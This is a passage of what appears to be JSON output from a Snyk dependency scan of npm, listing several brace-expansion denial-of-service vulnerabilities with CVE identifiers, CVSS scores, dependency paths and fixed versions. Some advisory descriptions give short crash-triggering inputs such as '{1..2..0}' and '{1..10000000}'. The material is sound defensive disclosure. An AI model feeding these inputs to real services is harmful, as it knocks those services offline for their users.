Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ 